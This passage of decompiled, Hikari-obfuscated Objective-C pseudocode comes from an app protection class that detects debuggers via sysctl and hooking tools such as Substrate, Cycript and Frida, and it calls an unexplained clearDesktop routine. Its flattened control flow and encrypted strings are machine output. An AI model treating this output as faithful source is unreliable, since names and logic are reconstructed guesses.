v8 = 0;
v4 = -821485928;
v9 = -874015428;
goto LABEL_217;
}
}
else
{
switch ( v44 )
{
case -1373001575:
v8 = 1;
v4 = -1657932366;
v9 = 171939977;
goto LABEL_217;
case -1354756527:
v49 = v40;
v6 = 1;
v4 = 862786349;
v7 = 1805951733;
LABEL_209:
if ( !v6 )
v4 = v7;
goto LABEL_219;
case -1350602681:
asc_100264C60[16] = v62;
asc_100264C60[17] = 107;
asc_100264C60[18] = 116;
asc_100264C60[19] = 111;
asc_100264C60[20] = 112;
asc_100264C60[21] = 58;
asc_100264C60[22] = 32;
asc_100264C60[23] = 37;
asc_100264C60[24] = 64;
asc_100264C60[25] = 0;
*v63 = 1869695793;
break;
}
}
}
if ( v44 <= -1841509887 )
break;
if ( v44 <= -1791260773 )
{
if ( v44 == -1841509886 )
{
*v63 = 273585315;
}
else if ( v44 == -1792937072 )
{
*v63 = 510190560;
}
}
else
{
switch ( v44 )
{
case -1791260772:
*v63 = 893238;
break;
case -1766630789:
v8 = 0;
v4 = -620207496;
v9 = -1014480903;
goto LABEL_217;
case -1657932366:
asc_100264C60[9] = 108;
asc_100264C60[10] = 101;
asc_100264C60[11] = 101;
asc_100264C60[12] = 114;
asc_100264C60[13] = 32;
asc_100264C60[14] = 68;
asc_100264C60[15] = 101;
*v63 = 171939977;
break;
}
}
}
if ( v44 > -1932021920 )
break;
switch ( v44 )
{
case -2084841857:
objc_enumerationMutation(obj);
*v63 = 127624964;
break;
case -2026468972:
v6 = 0;
v4 = 399513996;
v7 = 1357135721;
goto LABEL_209;
case -1990525665:
*v63 = 1214445423;
break;
}
}
if ( v44 == -1932021919 )
{
v8 = 1;
v4 = -1990525665;
v9 = 1214445423;
goto LABEL_217;
}
if ( v44 == -1864452513 )
{
v10 = objc_msgSend(v55, v33);
v27 = objc_retainAutoreleasedReturnValue(v10);
HikariFunctionWrapper_2655(CFSTR("\x7F\xC2\xCCm\x8E1\xE5\xE8\x8D\x01ܝ\xF1\xBB\xF1\xA8P\xE4\x5E\xF6\xCA\x5E\x1E\xD4\x44R"));
v6 = 1;
v4 = 1595419995;
LABEL_157:
v7 = -763271606;
goto LABEL_209;
}
}
while ( v44 != -1909963683 );
return -1;
}
// 10029F28C: using guessed type int dword_10029F28C;
//----- (0000000100029C58) ----------------------------------------------------
void __cdecl +[AldazSecurityGuard antiDebuggingProtection](id a1, SEL a2)
{
__int64 *v2; // r14
__int64 v3; // [rsp+0h] [rbp-40h] BYREF
id v4; // [rsp+8h] [rbp-38h]
__int64 v5; // [rsp+10h] [rbp-30h]
v5 = -1;
v4 = a1;
if ( !dword_10029F290 )
{
strcpy(::a2, "Debugger detectado por sysctl");
asc_100264CC8[0] = 87;
asc_100264CC8[1] = 65;
asc_100264CC8[2] = 82;
asc_100264CC8[3] = 78;
asc_100264CC8[4] = 73;
asc_100264CC8[5] = 78;
asc_100264CC8[6] = 71;
asc_100264CC8[7] = 0;
}
dword_10029F290 = 1;
v2 = &v3 - 2;
HikariFunctionWrapper_2667(31, 0, 0, 0);
*v2 = 0xE00000001LL;
*((_DWORD *)v2 + 2) = 1;
*((_DWORD *)v2 + 3) = getpid();
*(&v3 - 2) = 648;
if ( !sysctl((int *)&v3 - 4, 4u, &v3 - 82, (size_t *)&v3 - 2, 0, 0) && (*(_DWORD *)(&v3 - 78) & 0x800) != 0 )
objc_msgSend(
v4,
"logSecurityEvent:severity:",
CFSTR("'2\x83\xAD\xFC\x9F\x006 \xDB\xD9\f\x83:1\r\x88Mwl4/\x83\xD0\x09_\x81e\xBF"),
CFSTR("\x9B\xB6BD\xA4\xDF\x3A{"));
}
// 100264D30: using guessed type __CFString stru_100264D30;
// 100264D70: using guessed type __CFString cfstr_2;
// 10029F290: using guessed type int dword_10029F290;
//----- (000000010002A7EA) ----------------------------------------------------
void __cdecl +[AldazSecurityGuard checkRuntimeMethodTampering](id a1, SEL a2)
{
char v2; // cf
int v3; // eax
int v4; // ecx
id v5; // rax
bool v6; // zf
int v7; // ecx
bool v8; // cf
int v9; // ecx
IMP Implementation; // rax
objc_method *v11; // rax
id v12; // rax
id v13; // rax
id v14; // rax
id v15; // rax
id v16; // rax
NSString *v17; // rax
id v18; // rax
id v19; // rax
id v20; // rax
IMP v21; // rax
id v22; // rax
id v23; // rax
id v24; // rax
__int64 v25; // [rsp+0h] [rbp-D0h] BYREF
id v26; // [rsp+8h] [rbp-C8h]
Class cls; // [rsp+10h] [rbp-C0h]
SEL name; // [rsp+18h] [rbp-B8h]
Method m; // [rsp+20h] [rbp-B0h]
id v30; // [rsp+28h] [rbp-A8h]
id v31; // [rsp+30h] [rbp-A0h]
id v32; // [rsp+38h] [rbp-98h]
unsigned int v33; // [rsp+44h] [rbp-8Ch]
int v34; // [rsp+48h] [rbp-88h]
int v35; // [rsp+4Ch] [rbp-84h] BYREF
Dl_info *v36; // [rsp+50h] [rbp-80h]
const char *dli_fname; // [rsp+58h] [rbp-78h]
SEL v38; // [rsp+60h] [rbp-70h]
id v39; // [rsp+68h] [rbp-68h]
id v40; // [rsp+70h] [rbp-60h]
SEL v41; // [rsp+78h] [rbp-58h]
id v42; // [rsp+80h] [rbp-50h]
id v43; // [rsp+88h] [rbp-48h]
bool v44; // [rsp+97h] [rbp-39h]
char v45; // [rsp+98h] [rbp-38h]
bool v46; // [rsp+99h] [rbp-37h]
bool v47; // [rsp+9Ah] [rbp-36h]
bool v48; // [rsp+9Bh] [rbp-35h]
bool v49; // [rsp+9Ch] [rbp-34h]
bool v50; // [rsp+9Dh] [rbp-33h]
bool v51; // [rsp+9Eh] [rbp-32h]
char v52; // [rsp+9Fh] [rbp-31h]
int *v53; // [rsp+A0h] [rbp-30h]
v32 = a1;
v33 = -692373414;
v35 = -786421389;
v53 = &v35;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v35 <= 215694345 )
{
if ( v35 > -1159306980 )
{
if ( v35 <= -456554751 )
{
if ( v35 > -794443764 )
{
if ( v35 <= -748322371 )
{
switch ( v35 )
{
case -794443763:
asc_100264CC8[7] = v45 ^ 0x2E;
*v53 = 899683587;
break;
case -789213691:
v8 = 0;
v3 = -911232279;
LABEL_276:
v9 = -1749597893;
goto LABEL_278;
case -786421389:
v8 = v33 < 0x24A418E1;
v3 = 227697437;
v9 = 1693537055;
goto LABEL_278;
}
}
else if ( v35 > -674057625 )
{
if ( v35 == -674057624 )
{
*v53 = -1067100979;
}
else if ( v35 == -559692200 )
{
v8 = 1;
v3 = -61244895;
v9 = 677010758;
goto LABEL_278;
}
}
else
{
if ( v35 == -748322370 )
{
v14 = objc_msgSend(v43, v38);
v30 = objc_retainAutoreleasedReturnValue(v14);
v51 = (unsigned __int8)objc_msgSend(v30, v41, CFSTR("\x9E>\xBA\\\xED\x3A\xF3\xFDFF")) == 0;
v6 = 0;
v3 = -2048673069;
v7 = -1613037391;
goto LABEL_294;
}
if ( v35 == -722710432 )
{
objc_release(v40);
*v53 = 773815226;
}
}
}
else if ( v35 <= -1026998627 )
{
switch ( v35 )
{
case -1159306979:
HikariFunctionWrapper_2679();
v2 = 0;
v31 = &OBJC_CLASS___NSString;
v3 = 675939823;
v4 = -1302364083;
goto LABEL_290;
case -1067100979:
v6 = 0;
v3 = -674057624;
v7 = -1519341757;
goto LABEL_294;
case -1044798274:
LABEL_222:
*v53 = 347266427;
break;
}
}
else if ( v35 > -884106601 )
{
if ( v35 == -884106600 )
{
*v53 = 2079248297;
}
else if ( v35 == -852946741 )
{
v3 = -1948868836;
goto LABEL_296;
}
}
else
{
if ( v35 == -1026998626 )
{
v8 = 1;
dli_fname = v36->dli_fname;
v3 = 1369872370;
v9 = -1026998626;
goto LABEL_278;
}
if ( v35 == -911232279 )
{
objc_release(v43);
*v53 = -1749597893;
}
}
}
else if ( v35 <= -340843826 )
{
if ( v35 <= -378815500 )
{
switch ( v35 )
{
case -456554750:
v6 = !v44;
v3 = 899683587;
v7 = -1910836588;
goto LABEL_294;
case -438202206:
v8 = 1;
v3 = 166198440;
v9 = 2125651892;
LABEL_278:
if ( !v8 )
v3 = v9;
LABEL_296:
*v53 = v3;
break;
case -409220100:
*v53 = 529073893;
break;
}
}
else if ( v35 > -356081654 )
{
if ( v35 == -356081653 )
{
cls = (Class)objc_msgSend(v26, "class");
name = "length";
*v53 = 955531921;
}
else if ( v35 == -353400768 )
{
v6 = !v49;
v3 = 426051551;
v7 = 1892588589;
goto LABEL_294;
}
}
else
{
if ( v35 == -378815499 )
{
v2 = 0;
v3 = -1067100979;
v4 = -674057624;
goto LABEL_290;
}
if ( v35 == -357674484 )
{
class_getInstanceMethod(cls, name);
*v53 = -1161303654;
}
}
}
else if ( v35 > -61244896 )
{
if ( v35 > 165444621 )
{
if ( v35 == 165444622 )
{
*v53 = -1781292721;
}
else if ( v35 == 166198440 )
{
objc_release(v30);
objc_release(v42);
v6 = 0;
v3 = 2125651892;
v7 = 688663574;
goto LABEL_294;
}
}
else
{
if ( v35 == -61244895 )
{
asc_100264E2E[7] = v52 ^ 0x67;
asc_100264E50[0] = 102;
asc_100264E50[1] = 114;
asc_100264E50[2] = 105;
asc_100264E50[3] = 100;
asc_100264E50[4] = 97;
asc_100264DE0[0] = 77;
asc_100264DE0[1] = 97;
asc_100264DE0[2] = 110;
asc_100264DE0[3] = 105;
asc_100264DE0[4] = 112;
asc_100264DE0[5] = 117;
asc_100264DE0[6] = 108;
asc_100264DE0[7] = 97;
asc_100264DE0[8] = 99;
asc_100264DE0[9] = 105;
asc_100264DE0[10] = 243;
asc_100264DE0[11] = 110;
asc_100264DE0[12] = 32;
asc_100264DE0[13] = 114;
asc_100264DE0[14] = 117;
asc_100264DE0[15] = 110;
asc_100264DE0[16] = 116;
asc_100264DE0[17] = 105;
asc_100264DE0[18] = 109;
asc_100264DE0[19] = 101;
asc_100264DE0[20] = 32;
asc_100264DE0[21] = 100;
asc_100264DE0[22] = 101;
asc_100264DE0[23] = 116;
asc_100264DE0[24] = 101;
asc_100264DE0[25] = 99;
asc_100264DE0[26] = 116;
asc_100264DE0[27] = 97;
asc_100264DE0[28] = 100;
asc_100264E50[5] = 0;
asc_100264DE0[29] = 97;
asc_100264DE0[30] = 58;
asc_100264DE0[31] = 32;
asc_100264DE0[32] = 37;
asc_100264DE0[33] = 64;
asc_100264DE0[34] = 0;
asc_100264CC8[0] = 87;
asc_100264CC8[1] = 65;
asc_100264CC8[2] = 82;
asc_100264CC8[3] = 78;
asc_100264CC8[4] = 73;
asc_100264CC8[5] = 78;
v8 = 0;
asc_100264CC8[6] = 71;
v45 = 46;
v3 = 677010758;
v9 = 283128887;
goto LABEL_278;
}
if ( v35 == 47254003 )
{
strcpy(asc_100264E40, "substrate");
asc_100264E2E[0] = 99;
asc_100264E2E[1] = 121;
asc_100264E2E[2] = 99;
asc_100264E2E[3] = 114;
asc_100264E2E[4] = 105;
asc_100264E2E[5] = 112;
asc_100264E2E[6] = 116;
*v53 = 1425638278;
}
}
}
else if ( v35 > -230541154 )
{
if ( v35 == -230541153 )
{
dword_10029F294 = 1;
v2 = 1;
v36 = (Dl_info *)(&v25 - 4);
v26 = &OBJC_CLASS___NSString;
v3 = -230541153;
v4 = -1452734269;
goto LABEL_290;
}
if ( v35 == -219307741 )
{
objc_release(v42);
*v53 = 1835818060;
}
}
else
{
if ( v35 == -340843825 )
{
v49 = (unsigned __int8)objc_msgSend(v40, v41, CFSTR("|>\xCE\x50o/")) == 0;
v3 = -353400768;
goto LABEL_296;
}
if ( v35 == -251017976 )
{
v2 = 1;
v3 = -409220100;
v4 = 529073893;
goto LABEL_290;
}
}
}
else if ( v35 <= -1775443080 )
{
if ( v35 > -1993075861 )
{
if ( v35 <= -1910836589 )
{
switch ( v35 )
{
case -1993075860:
v6 = !v48;
v3 = 452775122;
v7 = 421402184;
goto LABEL_294;
case -1948868836:
v44 = v34 == 0;
v8 = 0;
v3 = 2035372570;
v9 = 165444622;
goto LABEL_278;
case -1935037035:
objc_msgSend(v40, v41, CFSTR("|>\xCE\x50o/"));
*v53 = -340843825;
break;
}
}
else if ( v35 > -1902512440 )
{
if ( v35 == -1902512439 )
goto LABEL_222;
if ( v35 == -1781292721 )
{
v6 = 0;
v3 = -1244646939;
v7 = 1426573070;
goto LABEL_294;
}
}
else
{
if ( v35 == -1910836588 )
{
v2 = 1;
v3 = 47254003;
v4 = 1425638278;
goto LABEL_290;
}
if ( v35 == -1903903785 )
*v53 = 426051551;
}
}
else if ( v35 <= -2086388011 )
{
switch ( v35 )
{
case -2120385696:
v2 = 0;
v3 = 1905740817;
v4 = 1307520938;
goto LABEL_290;
case -2117772294:
*v53 = -1696896125;
break;
case -2092547853:
*v53 = -378815499;
break;
}
}
else if ( v35 > -2048673070 )
{
if ( v35 == -2048673069 )
{
v15 = objc_msgSend(v43, v38);
v16 = objc_retainAutoreleasedReturnValue(v15);
HikariFunctionWrapper_2687(v16, v41);
*v53 = -748322370;
}
else if ( v35 == -2047549548 )
{
v3 = -1367169268;
goto LABEL_296;
}
}
else
{
if ( v35 == -2086388010 )
{
v8 = 1;
v3 = 899961434;
v9 = 1618342056;
goto LABEL_278;
}
if ( v35 == -2068398749 )
{
HikariFunctionWrapper_2689(v32, "logSecurityEvent:severity:");
objc_release(v39);
*v53 = 2133320839;
}
}
}
else if ( v35 <= -1454774182 )
{
if ( v35 <= -1613037392 )
{
switch ( v35 )
{
case -1775443079:
v6 = !v46;
v3 = -2047549548;
v7 = 1492947401;
goto LABEL_294;
case -1749597893:
objc_release(v43);
v8 = 1;
v3 = -1252510638;
goto LABEL_276;
case -1696896125:
v8 = 1;
v3 = 1933089665;
LABEL_258:
v9 = -2117772294;
goto LABEL_278;
}
}
else if ( v35 > -1519341758 )
{
if ( v35 == -1519341757 )
{
*v53 = 606110951;
}
else if ( v35 == -1467808962 )
{
*v53 = 1492947401;
}
}
else if ( v35 == -1613037391 )
{
*v53 = -438202206;
}
else if ( v35 == -1555952337 )
{
*v53 = -1454774181;
}
}
else if ( v35 > -1302364084 )
{
if ( v35 > -1244646940 )
{
if ( v35 == -1244646939 )
{
*v53 = 1426573070;
}
else if ( v35 == -1161303654 )
{
v11 = HikariFunctionWrapper_2671(cls, name);
v46 = v11 == 0;
v2 = 1;
m = v11;
v3 = -1161303654;
v4 = -1775443079;
goto LABEL_290;
}
}
else if ( v35 == -1302364083 )
{
clearDesktop();
*v53 = -1159306979;
}
else if ( v35 == -1252510638 )
{
*v53 = -2120385696;
}
}
else if ( v35 > -1452734270 )
{
if ( v35 == -1452734269 )
{
*v53 = -356081653;
}
else if ( v35 == -1367169268 )
{
Implementation = method_getImplementation(m);
v47 = dladdr(Implementation, v36) != 0;
v2 = 0;
v3 = 1309614473;
v4 = 707819443;
goto LABEL_290;
}
}
else
{
if ( v35 == -1454774181 )
{
v2 = 1;
v3 = -1935037035;
v4 = -340843825;
goto LABEL_290;
}
if ( v35 == -1453525136 )
{
v3 = 2133320839;
goto LABEL_296;
}
}
}
if ( v35 > 1243940487 )
break;
if ( v35 <= 595840133 )
{
if ( v35 > 347266426 )
{
if ( v35 <= 426051550 )
{
switch ( v35 )
{
case 347266427:
v2 = 1;
v48 = v47 && dli_fname != 0;
v3 = -1902512439;
v4 = -1993075860;
goto LABEL_290;
case 381001594:
v2 = 0;
v3 = 1371270919;
v4 = 328742207;
goto LABEL_290;
case 421402184:
v2 = 1;
v3 = 595840134;
v4 = 1840102373;
goto LABEL_290;
}
}
else if ( v35 > 499424033 )
{
if ( v35 == 499424034 )
goto LABEL_221;
if ( v35 == 529073893 )
*v53 = -1467808962;
}
else
{
if ( v35 == 426051551 )
{
v3 = 773815226;
goto LABEL_296;
}
if ( v35 == 452775122 )
LABEL_221:
*v53 = 2072786636;
}
}
else if ( v35 <= 283128886 )
{
switch ( v35 )
{
case 215694346:
*v53 = -789213691;
break;
case 227697437:
*v53 = 1693537055;
break;
case 282594534:
v8 = 0;
v3 = -2048673069;
v9 = -748322370;
goto LABEL_278;
}
}
else if ( v35 > 342464463 )
{
if ( v35 == 342464464 )
{
v2 = 0;
v3 = -1026998626;
v4 = 1177097641;
goto LABEL_290;
}
if ( v35 == 344737374 )
*v53 = 381001594;
}
else if ( v35 == 283128887 )
{
*v53 = -794443763;
}
else if ( v35 == 328742207 )
{
*v53 = 1371270919;
}
}
else if ( v35 <= 791890699 )
{
if ( v35 <= 677010757 )
{
switch ( v35 )
{
case 595840134:
v22 = HikariFunctionWrapper_2683(&OBJC_CLASS___NSString, "stringWithUTF8String:");
v23 = objc_retainAutoreleasedReturnValue(v22);
v24 = objc_msgSend(v23, "lowercaseString");
objc_retainAutoreleasedReturnValue(v24);
*v53 = 1840102373;
break;
case 606110951:
v6 = 0;
v3 = -1302364083;
v7 = -1159306979;
LABEL_294:
if ( !v6 )
v3 = v7;
goto LABEL_296;
case 675939823:
*v53 = 998839736;
break;
}
}
else if ( v35 > 707819442 )
{
if ( v35 == 707819443 )
{
v21 = method_getImplementation(m);
HikariFunctionWrapper_2681(v21, v36);
*v53 = -1367169268;
}
else if ( v35 == 773815226 )
{
objc_release(v40);
v6 = 0;
v3 = 773815226;
v7 = -2092547853;
goto LABEL_294;
}
}
else if ( v35 == 677010758 )
{
asc_100264E2E[7] = v52 - 2 * (v52 & 0x67) + 103;
asc_100264E50[0] = 102;
asc_100264E50[1] = 114;
asc_100264E50[2] = 105;
asc_100264E50[3] = 100;
asc_100264E50[4] = 97;
asc_100264DE0[0] = 77;
asc_100264DE0[1] = 97;
asc_100264DE0[2] = 110;
asc_100264DE0[3] = 105;
asc_100264DE0[4] = 112;
asc_100264DE0[5] = 117;
asc_100264DE0[6] = 108;
asc_100264DE0[7] = 97;
asc_100264DE0[8] = 99;
asc_100264DE0[9] = 105;
asc_100264DE0[10] = 243;
asc_100264DE0[11] = 110;
asc_100264DE0[12] = 32;
asc_100264DE0[13] = 114;
asc_100264DE0[14] = 117;
asc_100264DE0[15] = 110;
asc_100264DE0[16] = 116;
asc_100264DE0[17] = 105;
asc_100264DE0[18] = 109;
asc_100264DE0[19] = 101;
asc_100264DE0[20] = 32;
asc_100264DE0[21] = 100;
asc_100264DE0[22] = 101;
asc_100264E50[5] = 0;
asc_100264DE0[23] = 116;
asc_100264DE0[24] = 101;
asc_100264DE0[25] = 99;
asc_100264DE0[26] = 116;
asc_100264DE0[27] = 97;
asc_100264DE0[28] = 100;
asc_100264DE0[29] = 97;
asc_100264DE0[30] = 58;
asc_100264DE0[31] = 32;
asc_100264DE0[32] = 37;
asc_100264DE0[33] = 64;
asc_100264DE0[34] = 0;
asc_100264CC8[0] = 87;
asc_100264CC8[1] = 65;
asc_100264CC8[2] = 82;
asc_100264CC8[3] = 78;
asc_100264CC8[4] = 73;
asc_100264CC8[5] = 78;
asc_100264CC8[6] = 71;
*v53 = -61244895;
}
else if ( v35 == 688663574 )
{
*v53 = 1444221595;
}
}
else if ( v35 > 955531920 )
{
if ( v35 > 1177097640 )
{
if ( v35 == 1177097641 )
{
*v53 = -1026998626;
}
else if ( v35 == 1192823038 )
{
*v53 = -251017976;
}
}
else
{
if ( v35 == 955531921 )
{
v3 = -1161303654;
goto LABEL_296;
}
if ( v35 == 998839736 )
LABEL_112:
*v53 = 1492152124;
}
}
else if ( v35 > 899683586 )
{
if ( v35 == 899683587 )
{
v2 = 1;
v3 = 1407170112;
v4 = -230541153;
goto LABEL_290;
}
if ( v35 == 899961434 )
{
v50 = (unsigned __int8)HikariFunctionWrapper_2677(v42, v41) == 0;
v8 = 0;
v3 = 1618342056;
v9 = -884106600;
goto LABEL_278;
}
}
else
{
if ( v35 == 791890700 )
{
v41 = "containsString:";
v3 = -1555952337;
goto LABEL_296;
}
if ( v35 == 837736589 )
*v53 = 791890700;
}
}
if ( v35 > 1668269973 )
break;
if ( v35 <= 1426573069 )
{
if ( v35 <= 1369872369 )
{
switch ( v35 )
{
case 1243940488:
*v53 = 452775122;
break;
case 1307520938:
*v53 = 1905740817;
break;
case 1309614473:
*v53 = 342464464;
break;
}
}
else if ( v35 > 1407170111 )
{
if ( v35 == 1407170112 )
{
dword_10029F294 = 1;
*v53 = -230541153;
}
else if ( v35 == 1425638278 )
{
strcpy(asc_100264E40, "substrate");
v6 = 0;
asc_100264E2E[0] = 99;
asc_100264E2E[1] = 121;
asc_100264E2E[2] = 99;
asc_100264E2E[3] = 114;
asc_100264E2E[4] = 105;
asc_100264E2E[5] = 112;
asc_100264E2E[6] = 116;
v52 = 103;
v3 = 1425638278;
v7 = 1569421421;
goto LABEL_294;
}
}
else if ( v35 == 1369872370 )
{
*v53 = -1044798274;
}
else if ( v35 == 1371270919 )
{
v6 = 0;
v3 = 328742207;
v7 = -1903903785;
goto LABEL_294;
}
}
else if ( v35 > 1492947400 )
{
if ( v35 > 1617341391 )
{
if ( v35 == 1617341392 )
{
v3 = 791890700;
goto LABEL_296;
}
if ( v35 == 1618342056 )
{
HikariFunctionWrapper_2685(v42, v41);
*v53 = 899961434;
}
}
else
{
if ( v35 == 1492947401 )
{
v8 = 1;
v3 = -1696896125;
goto LABEL_258;
}
if ( v35 == 1569421421 )
*v53 = -559692200;
}
}
else if ( v35 > 1444221594 )
{
if ( v35 == 1444221595 )
{
objc_release(v40);
v6 = !v51;
v3 = 606110951;
v7 = -789213691;
goto LABEL_294;
}
if ( v35 == 1492152124 )
{
v12 = objc_msgSend(
v31,
"stringWithFormat:",
CFSTR("烞塲鉶떬惨棸紳찮瓚\xAB\xD9\x45\x9A棉魏鈛塧俫뭾䴧\x8F\xDF\u2FEAꗐᧄꁛ䪩퉖鐋ȧᤎ첏捃"),
v43);
v13 = objc_retainAutoreleasedReturnValue(v12);
v2 = 1;
v39 = v13;
v3 = 2114010497;
v4 = 1668269974;
goto LABEL_290;
}
}
else
{
if ( v35 == 1426573070 )
{
v6 = 0;
v3 = -1244646939;
v7 = -456554750;
goto LABEL_294;
}
if ( v35 == 1428697412 )
{
v2 = 1;
v3 = -219307741;
v4 = 1835818060;
goto LABEL_290;
}
}
}
if ( v35 > 1933089664 )
break;
if ( v35 <= 1840102372 )
{
switch ( v35 )
{
case 1668269974:
*v53 = -1453525136;
break;
case 1693537055:
v2 = 1;
v34 = dword_10029F294;
v3 = 1693537055;
v4 = 2080254173;
LABEL_290:
if ( v2 )
v3 = v4;
goto LABEL_296;
case 1835818060:
objc_release(v42);
*v53 = 344737374;
break;
}
}
else if ( v35 > 1892588588 )
{
if ( v35 == 1892588589 )
{
v20 = HikariFunctionWrapper_2675(v43, v38);
v42 = objc_retainAutoreleasedReturnValue(v20);
*v53 = -2086388010;
}
else if ( v35 == 1905740817 )
{
v3 = 1243940488;
goto LABEL_296;
}
}
else
{
if ( v35 == 1840102373 )
{
v17 = +[NSString stringWithUTF8String:](&OBJC_CLASS___NSString, "stringWithUTF8String:", dli_fname);
v43 = objc_retainAutoreleasedReturnValue(v17);
v38 = "lowercaseString";
v18 = HikariFunctionWrapper_2673(v43, "lowercaseString");
v19 = objc_retainAutoreleasedReturnValue(v18);
v2 = 0;
v40 = v19;
v3 = 1889780827;
v4 = 595840134;
goto LABEL_290;
}
if ( v35 == 1889780827 )
*v53 = 1617341392;
}
}
if ( v35 <= 2080254172 )
break;
if ( v35 > 2125651891 )
{
if ( v35 == 2125651892 )
{
objc_release(v30);
objc_release(v42);
*v53 = 166198440;
}
else if ( v35 == 2133320839 )
{
objc_msgSend(v32, "logSecurityEvent:severity:", v39, CFSTR("\x9B\xB6BD\xA4\xDF\x3A{"));
objc_release(v39);
v3 = 215694346;
goto LABEL_296;
}
}
else if ( v35 == 2080254173 )
{
*v53 = -852946741;
}
else if ( v35 == 2114010497 )
{
v5 = objc_msgSend(
v31,
"stringWithFormat:",
CFSTR("烞塲鉶떬惨棸紳찮瓚\xAB\xD9\x45\x9A棉魏鈛塧俫뭾䴧\x8F\xDF\u2FEAꗐᧄꁛ䪩퉖鐋ȧᤎ첏捃"),
v43);
objc_retainAutoreleasedReturnValue(v5);
goto LABEL_112;
}
}
if ( v35 <= 2072786635 )
break;
if ( v35 == 2072786636 )
{
*v53 = 1192823038;
}
else if ( v35 == 2079248297 )
{
v6 = !v50;
v3 = 1428697412;
v7 = 282594534;
goto LABEL_294;
}
}
if ( v35 != 2035372570 )
break;
*v53 = -1948868836;
}
}
while ( v35 != 1933089665 );
}
// 100264DE0: using guessed type __int16 asc_100264DE0[35];
// 100264E80: using guessed type __CFString stru_100264E80;
// 100264EC0: using guessed type __CFString stru_100264EC0;
// 100264F00: using guessed type __CFString stru_100264F00;
// 100264F80: using guessed type __CFString stru_100264F80;
// 10029F294: using guessed type int dword_10029F294;
//----- (000000010002CE7F) ----------------------------------------------------
char __cdecl +[AldazSecurityGuard checkFridaServerRunning](id a1, SEL a2)
{
bool v2; // zf
int v3; // eax
int v4; // ecx
bool v5; // cf
int v6; // ecx
int v7; // eax
bool v8; // zf
int v9; // ecx
char v10; // cf
int v11; // ecx
char *v12; // rax
NSArray *v13; // rax
char **v14; // rax
int v15; // eax
int v16; // eax
char *v17; // rax
id v18; // rax
char **v19; // rax
id v20; // rax
const char *v21; // rax
id v22; // rax
id v23; // r14
id v24; // rax
id v25; // rax
id v26; // r14
const char *v27; // rax
id v28; // rax
id v29; // r14
char **v30; // rax
int v31; // eax
int v32; // eax
int v33; // r14d
id v34; // rax
id v35; // rax
id v36; // rax
const char *v37; // rax
FILE *v38; // rax
id v39; // rax
id v40; // r14
id v41; // rax
id v42; // r14
const char *v43; // rax
id v44; // rax
char v45; // bl
id v46; // r14
char *v48; // [rsp+0h] [rbp-200h] BYREF
id v49; // [rsp+8h] [rbp-1F8h]
_QWORD **v50; // [rsp+10h] [rbp-1F0h]
__int64 v51; // [rsp+18h] [rbp-1E8h]
_QWORD *v52; // [rsp+20h] [rbp-1E0h]
char *v53; // [rsp+28h] [rbp-1D8h]
__int64 v54; // [rsp+30h] [rbp-1D0h]
_QWORD **v55; // [rsp+38h] [rbp-1C8h]
char *v56; // [rsp+40h] [rbp-1C0h]
__int64 v57; // [rsp+48h] [rbp-1B8h]
__int64 *v58; // [rsp+50h] [rbp-1B0h]
char *v59; // [rsp+58h] [rbp-1A8h]
char *v60; // [rsp+60h] [rbp-1A0h]
char *v61; // [rsp+68h] [rbp-198h]
const char *v62; // [rsp+70h] [rbp-190h]
id v63; // [rsp+78h] [rbp-188h]
id v64; // [rsp+80h] [rbp-180h]
SEL v65; // [rsp+88h] [rbp-178h]
SEL v66; // [rsp+90h] [rbp-170h]
id v67; // [rsp+98h] [rbp-168h]
id v68; // [rsp+A0h] [rbp-160h]
id v69; // [rsp+A8h] [rbp-158h]
SEL v70; // [rsp+B0h] [rbp-150h]
__int64 v71; // [rsp+B8h] [rbp-148h]
__int64 v72; // [rsp+C0h] [rbp-140h]
id v73; // [rsp+C8h] [rbp-138h]
id v74; // [rsp+D0h] [rbp-130h]
id v75; // [rsp+D8h] [rbp-128h]
__int64 v76; // [rsp+E0h] [rbp-120h]
id v77; // [rsp+E8h] [rbp-118h]
id v78; // [rsp+F0h] [rbp-110h]
__int64 v79; // [rsp+F8h] [rbp-108h]
unsigned int v80; // [rsp+104h] [rbp-FCh]
int v81; // [rsp+108h] [rbp-F8h]
int v82; // [rsp+10Ch] [rbp-F4h] BYREF
char **v83; // [rsp+110h] [rbp-F0h]
char **v84; // [rsp+118h] [rbp-E8h]
FILE *v85; // [rsp+120h] [rbp-E0h]
id v86; // [rsp+128h] [rbp-D8h]
id v87; // [rsp+130h] [rbp-D0h]
char **v88; // [rsp+138h] [rbp-C8h]
SEL v89; // [rsp+140h] [rbp-C0h]
__int64 v90; // [rsp+148h] [rbp-B8h]
id v91; // [rsp+150h] [rbp-B0h]
SEL v92; // [rsp+158h] [rbp-A8h]
id v93; // [rsp+160h] [rbp-A0h]
id v94; // [rsp+168h] [rbp-98h]
char *__s1; // [rsp+170h] [rbp-90h]
SEL v96; // [rsp+178h] [rbp-88h]
id v97; // [rsp+180h] [rbp-80h]
char **v98; // [rsp+188h] [rbp-78h]
char **v99; // [rsp+190h] [rbp-70h]
FILE *v100; // [rsp+198h] [rbp-68h]
char **v101; // [rsp+1A0h] [rbp-60h]
id v102; // [rsp+1A8h] [rbp-58h]
id obj; // [rsp+1B0h] [rbp-50h]
bool v104; // [rsp+1B9h] [rbp-47h]
bool v105; // [rsp+1BAh] [rbp-46h]
bool v106; // [rsp+1BBh] [rbp-45h]
bool v107; // [rsp+1BCh] [rbp-44h]
bool v108; // [rsp+1BDh] [rbp-43h]
bool v109; // [rsp+1BEh] [rbp-42h]
bool v110; // [rsp+1BFh] [rbp-41h]
bool v111; // [rsp+1C0h] [rbp-40h]
bool v112; // [rsp+1C1h] [rbp-3Fh]
bool v113; // [rsp+1C2h] [rbp-3Eh]
bool v114; // [rsp+1C3h] [rbp-3Dh]
bool v115; // [rsp+1C4h] [rbp-3Ch]
char v116; // [rsp+1C5h] [rbp-3Bh]
char v117; // [rsp+1C6h] [rbp-3Ah]
char v118; // [rsp+1C7h] [rbp-39h]
int *v119; // [rsp+1C8h] [rbp-38h]
__int64 v120; // [rsp+1D0h] [rbp-30h]
v120 = -1;
v80 = 606510554;
v82 = -404122152;
v119 = &v82;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v82 <= 153472474 )
{
if ( v82 <= -1160914028 )
{
if ( v82 > -1632670303 )
{
if ( v82 > -1485883131 )
{
if ( v82 <= -1356102987 )
{
if ( v82 > -1448071271 )
{
switch ( v82 )
{
case -1448071270:
*v119 = 1301971862;
break;
case -1383016068:
v114 = v73 == v64;
